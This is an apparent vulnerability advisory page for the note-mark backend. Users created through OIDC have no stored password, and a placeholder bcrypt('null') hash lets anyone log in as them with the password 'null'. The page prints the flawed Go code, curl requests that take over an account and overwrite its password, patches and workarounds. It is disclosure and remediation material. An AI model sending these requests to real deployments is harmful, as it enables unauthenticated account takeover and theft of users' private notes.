Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
IsPasswordMatch in backend/db/models.go falls back to a hard-coded bcrypt("null") placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits password: "null" to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction.
Details
backend/db/models.go:36 defines the placeholder hash used by the timing-attack mitigation inside IsPasswordMatch:
var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte("null"), bcrypt.DefaultCost)IsPasswordMatch (backend/db/models.go:46-58) substitutes that placeholder when the stored password is empty:
func (u *User) IsPasswordMatch(plainPassword string) bool {
var current []byte
if len(u.Password) == 0 {
// prevent CWE-208
current = nullPasswordHash
} else {
current = u.Password
}
if err := bcrypt.CompareHashAndPassword(current, []byte(plainPassword)); err == nil {
return true
}
return false
}OIDC-registered users are stored with an empty password at backend/services/auth.go:102-115:
return db.DB.Transaction(func(tx *gorm.DB) error {
user := db.User{
Username: username,
Password: []byte(""),
}
// ...
})The internal login endpoint (POST /api/auth/token, handled at backend/services/auth.go:20-54) calls IsPasswordMatch with the caller-supplied password. For any OIDC-only user, bcrypt.CompareHashAndPassword(nullPasswordHash, []byte("null")) returns nil, the function returns true, and the server issues a Auth-Session-Token cookie.
EnableInternalLogin defaults to true, and GET /api/info discloses both OIDC configuration and internal-login status. enableAnonymousUserSearch also defaults to true, so an unauthenticated caller enumerates usernames via GET /api/users/search before touching the login endpoint.
Once the session is issued, PUT /api/users/me/password accepts existingPassword: "null" because the same IsPasswordMatch routine verifies the existing password. The caller writes a new password onto the OIDC user's row, which locks the legitimate OIDC user out on the next internal-login path.
Proof of Concept
Tested against note-mark v0.19.2.
Step 1: Start note-mark pointed at any OIDC provider and set OIDC__ENABLE_USER_CREATION=true. The defaults for ENABLE_INTERNAL_LOGIN and ENABLE_ANONYMOUS_USER_SEARCH do not need to be changed.
docker run -d --name note-mark-poc \
-e OIDC__PROVIDER_NAME=example \
-e OIDC__CLIENT_ID=note-mark \
-e OIDC__CLIENT_SECRET=secret \
-e OIDC__ISSUER_URL=https://your-oidc-provider/ \
-e OIDC__ENABLE_USER_CREATION=true \
-p 8088:8080 ghcr.io/enchant97/note-mark-backend:0.19.2Step 2: Alice registers via the OIDC flow. TryCreateNewOidcUser stores her row with Password = []byte("").
Step 3: Bob confirms the preconditions.
curl -s http://localhost:8088/api/info
# {"allowInternalLogin":true,"oidcProvider":"example","enableAnonymousUserSearch":true,...}Step 4: Bob logs in as Alice via the internal endpoint.
curl -i -X POST http://localhost:8088/api/auth/token \
-H 'Content-Type: application/json' \
-d '{"grant_type":"password","username":"alice","password":"null"}'Response:
HTTP/1.1 204 No Content
Set-Cookie: Auth-Session-Token=eyJ...; Path=/; HttpOnly; SameSite=StrictStep 5: Bob uses the cookie to read Alice's account.
curl -b 'Auth-Session-Token=eyJ...' http://localhost:8088/api/users/me
# {"id":"...","username":"alice","name":"Alice"}Step 6: Bob persists access by writing his own password onto Alice's row.
curl -i -b 'Auth-Session-Token=eyJ...' -X PUT \
http://localhost:8088/api/users/me/password \
-H 'Content-Type: application/json' \
-d '{"existingPassword":"null","newPassword":"bob-owns-this-now"}'
# HTTP/1.1 204 No ContentAlice's next internal-login attempt fails; her OIDC flow still works, but Bob now holds a second valid credential on the same row.
A companion script that drives all six steps ships at pocs/poc_014_null_password_bypass.sh.
Impact
Every OIDC-only user on a note-mark deployment with ENABLE_INTERNAL_LOGIN=true (the default) is one HTTP request from takeover. Bob reads Alice's private notebooks, her note markdown, and her uploaded assets. He writes, edits, or deletes anything Alice owns. Step 6 grants persistent access and costs Alice her account until the maintainer clears the row by hand.
The default configuration ships both authentication paths side by side, so any site that turns on OIDC is affected without further misconfiguration on the operator's part.
Recommended Fix
The clearest fix rejects the login path for rows with no stored password. Add the check after the user lookup in GetAccessToken:
// backend/services/auth.go:28
var user db.User
if err := db.DB.
First(&user, "username = ?", username).
Select("id", "password").Error; err != nil {
user.IsPasswordMatch(password) // preserve CWE-208 timing mitigation
return core.AccessToken{}, InvalidCredentialsError
}
if len(user.Password) == 0 {
return core.AccessToken{}, InvalidCredentialsError
}
if !user.IsPasswordMatch(password) {
return core.AccessToken{}, InvalidCredentialsError
}The equivalent change belongs in UpdateUserPassword at backend/services/users.go:53-61, since the same routine verifies existingPassword during the persistence step.
Replacing nullPasswordHash with a per-instance unguessable plaintext closes the hole too, but relies on the placeholder staying secret:
// backend/db/models.go:36
var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte(uuid.NewString()), bcrypt.DefaultCost)The explicit empty-password check is preferable because the intent is readable in the source.
--- *Found by aisafe.io*
AnalysisAI
Remote authentication bypass in note-mark backend allows unauthenticated attackers to hijack OIDC user accounts by submitting the password 'null' to the internal login endpoint. Affected deployments running default configuration (EnableInternalLogin=true) with OIDC enabled permit complete account takeover of any OIDC-registered user. Attackers gain full access to private notebooks, markdown content, and uploaded assets, plus can persist access by overwriting the victim's password. Vendor patch available in commit dea5530c. CVSS 9.4 (AV:N/AC:L/PR:N/UI:N) reflects the zero-interaction remote attack against default installations. No EPSS or KEV data available, but the detailed POC script in the advisory significantly lowers exploitation barrier.
Technical ContextAI
This vulnerability stems from a flawed timing-attack mitigation in the bcrypt password comparison logic (CWE-287: Improper Authentication). The note-mark backend (pkg:go/github.com_enchant97_note-mark_backend) uses a constant placeholder hash bcrypt('null') when validating passwords for users with empty stored passwords. OIDC authentication flows in the Go/GORM codebase create user records with Password=[]byte('') to indicate SSO-only accounts. The IsPasswordMatch function in backend/db/models.go substitutes nullPasswordHash for timing-attack resistance, but because the placeholder is generated from the literal string 'null' at compile time, any attacker who submits 'null' as the plaintext password satisfies bcrypt.CompareHashAndPassword. This design conflates constant-time comparison (anti-timing-attack measure) with authentication logic, creating a hard-coded credential accepted by all OIDC users. The flaw exists in both the login flow (POST /api/auth/token) and password-change flow (PUT /api/users/me/password), enabling initial takeover and persistence respectively.
RemediationAI
Apply vendor patch commit dea5530cc9891187b51548ef9f2868b7dc9f4e92 from https://github.com/enchant97/note-mark/commit/dea5530cc9891187b51548ef9f2868b7dc9f4e92. The fix adds explicit rejection of login attempts for users with empty stored passwords in both GetAccessToken (backend/services/auth.go) and UpdateUserPassword (backend/services/users.go) before bcrypt comparison. Operators should upgrade to the patched version immediately. WORKAROUND for deployments unable to patch immediately: disable internal login by setting ENABLE_INTERNAL_LOGIN=false in environment configuration, forcing all authentication through OIDC flow. This eliminates the vulnerable code path entirely. Trade-off: administrators and non-OIDC users lose login capability until patch deployment. Alternative workaround: disable OIDC user auto-creation (OIDC__ENABLE_USER_CREATION=false) and manually provision accounts with strong passwords, though this defeats SSO convenience and does not protect existing OIDC users. Post-patch validation: audit existing OIDC user accounts for Password column length=0 and verify no unauthorized password-change events in application logs between initial OIDC registration and patch deployment.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve
Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at
Same weakness CWE-287 – Improper Authentication
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-27051
GHSA-pxf8-6wqm-r6hh